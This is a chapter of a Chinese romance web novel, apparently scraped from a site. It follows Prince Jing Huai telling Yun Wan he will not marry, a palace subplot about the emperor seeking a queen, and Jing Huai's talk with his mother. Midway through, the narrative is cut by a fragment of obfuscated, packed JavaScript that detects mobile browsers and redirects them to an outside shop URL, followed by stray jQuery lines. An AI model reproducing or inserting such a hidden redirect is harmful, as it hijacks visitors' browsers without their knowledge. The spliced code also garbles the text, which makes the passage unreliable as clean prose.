第4章无意
看出景淮还有话要说,云婉没有出声打断,云清芷也在这时从她身后站了出来。
她只有满心的疑惑,云婉能看出来的东西她也看得出来。
知道景淮想表达的是自己没有娶亲的意思,那照这么来看,这事就全是景夫人自己的的想法了,这是为什么?
恪王作为她唯一的孩子,娶亲这样的大事不该顺从他的心意吗。
景夫人既中意于云婉,那她明明有更稳妥的办法让这件事直接板上钉钉,又何必大费周章举办这场宴会。
为了给更多人制造机会?说来都荒谬可笑。
......
“我不善言辞,不瞒二位,我不会在京中久留,娶亲这事是我母亲个人的意思。”
“至多下月初我就会离京远游,所以今日我母亲说的那些打探话,你可不必放在心上。”景淮神色平静,仿佛在说一件无关于己的事。
云婉有些讶异于自己听到的话,惊讶之余还是没忍住问“可殿下不是今年年初才回的京?”
云清芷也微微瞪大双眼,一脸‘殿下莫要拿此事说笑’的怀疑,毕竟她可从未听说这位恪王殿下还有着游山玩水的爱好。
想来奇怪,景淮虽名扬四海,但其手中却并没有实权,既不在朝为官,也不在边戍关。
他甚至一年到头都没有多少时间是留在京中的......
还是个“闲散王爷”?
传闻中能言能武或许是真的,可与其如传闻所说的,云清芷觉得景淮其实更像一个只空空挂着名头的王爷。
景淮的声音再度响起,云清芷却没多少心思听了,她无端对这个男人感到好奇。
“我志不在此,身岂能久留?”
“所以请姑娘放心,今日一见以后便也算作朋友,还望能早日觅得良缘。”
......
不远处,几个青衣侍女撩开珠帘,其中一个笑嘻嘻凑上前去给景夫人揉肩,“夫人今晚可以睡个好觉,我们几个方才亲眼瞧见殿下和云婉姑娘站在一块儿了。”
“是很登对的一双璧人呢。”几个丫鬟七嘴八舌的汇报着自己看见的场面,哄得景夫人喜笑颜开。
总管事秋荷递上一杯茶水,“夫人眼光高,既是良配,夫人将她带走时可曾敲打一番。”
“这哪里可以明说,”景夫人刮去上层残存的一些茶沫,接着说“淮儿这两年一直在外奔波,我还担心他会在外头就把家安了......”
“前一阵子请人算命,那老道士不是说了淮儿的贵人就在京城吗?说到底的都是命,天老爷总不舍得一直叫我母子二人分散。”
“老天有眼,夫人这下终于可以安心了。”秋荷接过空了的茶杯,提起茶壶还想再倒水却被景夫人按下“不用再给我倒茶了,你一会儿亲自跑一趟将王爷叫来见我。”
***
回去的路上云婉连脚步都松快了许多,短期之内再没什么好忧心的了。
远处湖堤上亦种了一长排的柳树,景淮早就先行离开,凌乱飞舞的柳枝下只剩缓步走着的云家姐妹二人。
“阿姊,咱们非得在这树底下走吗?”云清芷走在里侧,时不时走着走着就被枝条拍一下,她现在心情好并不屑于和拍在身上的柳条计较。
“当然不用。”云婉说着将云清芷扯离柳枝底下又随手折下一根捏在手里把玩。
柳枝泛着新出的绿意,看上去朝气蓬勃,云清芷看着这一幕忽地恶从胆边生,她惊讶出声“阿姊,有虫啊,那个绿色的,还在动。”
听她这么一说,云婉立马就丢掉了手中的柳枝,她最害怕虫子。
见云婉被作弄到,云清芷目的达成笑得眉眼弯弯,她弯腰捡起地上的柳枝说道“阿姊,我是骗你的啊。”
云婉也从惊吓中回过神来“你这促狭鬼,就喜欢拿人取笑是吧。”要放在往日,云清芷少不了要被云婉教训一顿,可今天却没有。
连威胁般将手掐住她脖子的动作也没有,云婉只是轻轻拉过云清芷的手,带着几分不易让人察觉的珍重。
两个人再一次回到席位上,等待着宴会结束。林楚音此时正百无聊赖的托着腮,见二人回来也是闷闷的全然不复之前的热情。
“怎么突然蔫巴了?在哪儿碰上壁了?”一连串的两个问题,林楚音状似未闻,只呆呆呢喃“我没话同他说,不知道怎么回事,我一见到他就一句话也说不出口了。”
“他也没主动找你说话?”不知是姐妹俩中谁问了一句。
“牧喆就是个呆子,我明明瞧见他张嘴了,但就是什么都没说......”林楚音的声音里透着几分埋怨,难不成以后要守着个心仪的呆子过一辈子吗?
好可怕。
林楚音果断地摇了摇头。继而将话题引到云婉身上“婉儿,恪王刚刚找你都说了些什么?你觉得他人怎么样?”
你可还喜欢?
云婉笑“殿下人还是很好......”
“就这?”
“连我都看得出来景夫人有意于你,你可知今日来的这么多女子里,她独独就找了你谈话。”
“景夫人未必没有与你打探些什么?”林楚音满是不可置信。
见林楚音反应如此激烈,云婉想再补充点什么佐证自己刚才的话。可她一时竟不知道说些什么。毕竟景淮特意交代过此事不要对他人声张。
林楚音见云婉不吭气,转过身一把将云清芷扯到自己身边来“芷丫头,你以后千万别学云婉的......”总是这样好脾气别人磨两下就软了耳根是要吃亏的。可突然间林楚音停下话头,她猛地想起另一件事来。
她父亲官居丞相一职,前阵子回来总愁眉不展,问起原因才知道是朝中的礼部大臣们连番上阵劝当今陛下开后宫选秀。
可上交的折子里,只要提到了立后,选秀一类字眼的尽数被陆从矜驳回,陆从矜看都没看,不知是不屑还是不想,那些劝谏的大臣没法又不敢真的以死相逼,只得托付宰相向圣前传话递音。
林丞相本不想干涉此事,但那些怀有私心的臣子们一个赛一个烦人,愣是磨着他在禀告政务时也提了一嘴立后的事情。他言辞恳切,不敢说要让陆从矜广开后宫只说后位不可空悬,还是早些定下为好。
陆从矜放下手中的笔,抬起头朝林相身上看过来,不怒反笑道“好啊,孤记得爱卿有个女儿年岁正好,不如就让她进宫来配孤。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745811|209285||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“林相可舍得?”
林丞相本就出于无奈才会开这个口,他哪里舍得让林楚音入宫,抹了一把额头上并不存在的汗才惶恐跪下“小女才德不够,且已有婚配,怕是担不起这个高位......”
“林相你老糊涂了不成,又要提意见又舍不得女儿,尽给孤出难题是吧?”陆从矜还是在笑。
“要不这样,爱卿去替孤寻一个好女儿来,孤娶她好去堵住礼部那些人的臭嘴。”
......
临了林相要回府时,陆从矜还故意说“爱卿的女儿许了谁家的公子,不如孤下旨给他们赐一道婚约吧。”林丞相回到林府时脸色还很不好看,是被吓的。
林楚音问过,陛下是不是当真要让林家去寻一个可以当皇后的人出来,她爹什么话也没说,只默默叹气——十之八九。
此事风波未定,没在一开始就说出来现在也没有再提起的必要,林楚音便没有同云婉和云清芷讲,她吐出一口气“也好,若是就这样定下了,我心里也安心些。”
云清芷不明所以地看着林楚音,不太明白对方为什么一下子情绪起伏这么大。但即便如此,她也听出林楚音应当是对云婉的事产生了误会。
她不便说起,依照目前来看,就让人产生误会也好,毕竟误会以后还能消,阿姊却只有一个。
***
另一边,景淮与云婉她们告辞离开后便想回去找牧喆,可四处搜寻一番并没有看见牧喆的身影,多半是同人走了。
景淮摇了摇头,秋荷就是在这时找过来的“殿下,夫人找您。”
穿过几道环形拱门,便到了景夫人的休息处,在景淮进门的那一瞬间,原本在房间四处侍立的奴仆鱼贯而出,只留下他与景夫人两人。
熏香烟缓缓升起,往空中飘散,景夫人一面用手中的小铜镜照着自己眼角的细纹,一面试探性开口“淮儿,娘那天找了个算命先生替你算了一卦,老先生说你命格好,留在京中可获贵人相助。”
“娘想着,要不你试试在京中留下,也陪陪我。”
景淮无言默默站立着,却还是在听到那句近乎恳求的“陪陪我”时手抖了一下,他何尝不想,只是他似乎......不能。景淮忍不住往前走上几步,心中翻涌着不知名状的情绪“娘,我这不还在京中吗,你突然找我谈以后还远着的事作甚?”
景淮的脸上挂起没心没肺的笑“再说这贵人相不相助哪能从人待在哪儿看出来啊?”话一落地,景夫人就察觉到不对,心里咯噔一下,斩钉截铁道“你还是要走?”
“淮儿你如今也老大不小了,便是听我的话留在京中先成个家也是好的啊。”
“那件事情都已经过去这么长时间了,陛下也该不再提防我们了,你怎么还没将它放下......”景夫人眼眶微红,语气中的恳切不加掩饰。
......
景淮站在原地没动,脑中的记忆像走马灯般涌来,可回忆这东西只存在于过去,他也没必要明知不可为而为之。
可他也不好反驳,思索片刻景淮巧妙地钻了个空子“娘你说的这些我都清楚,可大师只说贵人在京城,又没具体说贵人是谁是男子还是女子,成家娶亲一事咱先不急。”